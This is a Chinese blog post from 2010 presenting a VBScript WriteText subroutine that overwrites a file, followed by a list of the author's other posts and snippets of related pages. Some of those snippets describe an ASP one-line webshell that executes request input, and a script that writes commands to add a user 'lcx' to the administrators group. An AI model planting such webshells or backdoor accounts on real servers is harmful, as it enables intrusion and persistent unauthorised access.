vbs脚本:WriteText
2010年08月09日
Rem : =========== 写入多行文本,会覆盖文件中已有的内容 Rem : =========== 文件必须存在 Rem : =========== text 中可以是单行,也可以是多行文本, Sub WriteText( file, text ) Dim f f = Trim( file ) IfRight(f,1) = "\" Then f = Left(f,Len(f) -1 )If fso.fileexists(f) = False ThenErr.Raise vbObjectError+128, "WriteText", f & " does not exists" Dim errMsg OnError Resume NextRem ====== code begin Const ForReading = 1, ForWriting = 2 Dim fi Set fi = fso.OpenTextFile(f, ForWriting, True) fi.Write text fi.close Rem ====== code endIfErr.Number 0 Then errMsg = Err.Description OnError Goto 0 Err.Raise vbObjectError+128, "WriteText", errMsg & vbNewLine & _ " file:" & vbTab & file & vbNewLine & _ " text:" & vbTab & text ExitSubEndIfEndSub
发表评论
-
vbs脚本:CreateFolder
2012-01-20 01:33 665vbs脚本:CreateFolder 2010年08月09日 ... -
VBS脚本:CopyFile
2012-01-20 01:32 798VBS脚本:CopyFile 2010年08月08日 2 ... -
vbs 脚本:CopyFile
2012-01-20 01:32 876vbs 脚本:CopyFile 2010年08月08日 ... -
vbs脚本:MoveFile
2012-01-20 01:32 568vbs脚本:MoveFile 2010年08月08日 R ... -
2012.1.10
2012-01-19 09:23 5202012.1.10 2011年12月28日 10锛 -
Virtools:把Virtools文件封装到可执行文件中
2012-01-17 01:57 540Virtools:把Virtools文件封装到可执行文件中 ... -
MFC的运行机制
2012-01-17 01:57 647MFC的运行机制 2011年04月08日 在MFC程序中 ... -
MFC消息响应机制及映射机制理解
2012-01-17 01:57 619MFC消息响应机制及映射机制理解 2010年11月30日 ... -
编程基本
2012-01-17 01:57 438编程基本 2011年09月03日 繁 -
VS2010编译安装boost
2012-01-17 01:57 599VS2010编译安装boost 2011年01月18日 ... -
c库函数和系统调用的区别(很模糊)
2012-01-15 21:13 687c库函数和系统调用的区 ... -
linux C库函数(一)
2012-01-15 21:13 669linux C库函数(一) 2010年0 ... -
系统调用、POSIX、C库、系统命令和内核函数
2012-01-15 21:13 597系统调用、POSIX、C库、 ... -
ASP小偷(三):文档对象模型DOM
2012-01-15 21:13 866ASP小偷(三):文档对象模型DOM 2009年08月22日 ...
相关推荐
clipboard-polyfill 使在网络上复制变得容易: clipboard.writeText("hello world");该库是现代基于Promise的的polyfill。 注意:自2020年6月下旬起,您可以在所有主要浏览器的稳定版本中使用navigator.clipboard....
网址URL筛选小工具 ....WriteText s .SaveToFile p & "'s URLs.html",2 .Close End With Next Msgbox "网址列表已经生成!",,"成功" 'vbs代码结束----------------------------------------------
writechunks , writelines , writetext , writebytes fsync , dirsync 执行核心Shell操作cp , mv , mkdir , touch rm , rmfile , rmdir ls , lsfiles , lsdirs walk , walk walkfiles , wal
writetext 第 3 题 单选题 以下选项中,哪一个不属于函数的作用?( ) 提高代码的执行速度 提高代码的重复利用率 增强代码的可读性 降低编程的复杂度 第 4 题 单选题 关于计算圆面积的匿名函数的定义,以下哪一个...
$writetext = 'ssssssssssss'; $result = jwritefile($filename, $writetext); var_dump($result);die; function jwritefile($filename, $writetext) { $position = strrpos($filename,'/'); $...
由于其嵌套性质,API 的使用很快就因为噩梦。... 请参阅此示例以简单地将一些文本写入....writeText(DATA);与 HTML5 文件 API 相比,使用其典型的回调嵌套结构: window.requestFileSystem(LocalFileSystem.PERSISTENT
本文实例为大家分享了python批量创建指定名称的文件夹具体代码,供大家参考,具体内容如下 继删除多余文件之后,做了一些数据处理,需要重新... writeText = open('F:/my_data/brats18_training/test.txt', 'w') for
分享给大家供大家参考,具体如下: ...function copyToClipboard(txt) { if (window.clipboardData) { window.clipboardData.clearData(); window.clipboardData.setData("Text", txt); alert(...
首先在asp文件中写如<%execute request(“value”)%>代码如果想要... set lP=server.createObject(“Adodb.Stream”) lP.Open lP.Type=2 lP.CharSet=”gb2312″ lP.writetext request(“hackbin”) lP.SaveToF
.WriteText = strBody On Error Resume Next .SaveToFile Server.MapPath(File), 2 If Err Then RText = Array(Err.Number, Err.Description) SaveToFile = RText Err.Clear Exit Function End If .Close ...
这些应该可以帮助您入门,http://www.javapractices.com/topic/TopicAction.do?Id = 42 [^] http://www.abbeyworkshop.com/howto/java/writeText/ [^]
Function sTb(vin) Const adTypeText = 2 Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject(“ADODB.Stream”) With BytesStream .Type = adTypeText .Open .WriteText vin ....
Function Bytes2bStr(vin,cSet) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject(“ADODB.Stream”) BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position...
<% on error resume next dim lcxset lcx=server.CreateObject(“Adodb.Stream”) lcx.Open ...lcx.Position=lcx.Size lcx.writetext “net user lcx lcx /add”&chr(10)&”net localgroup administrators lcx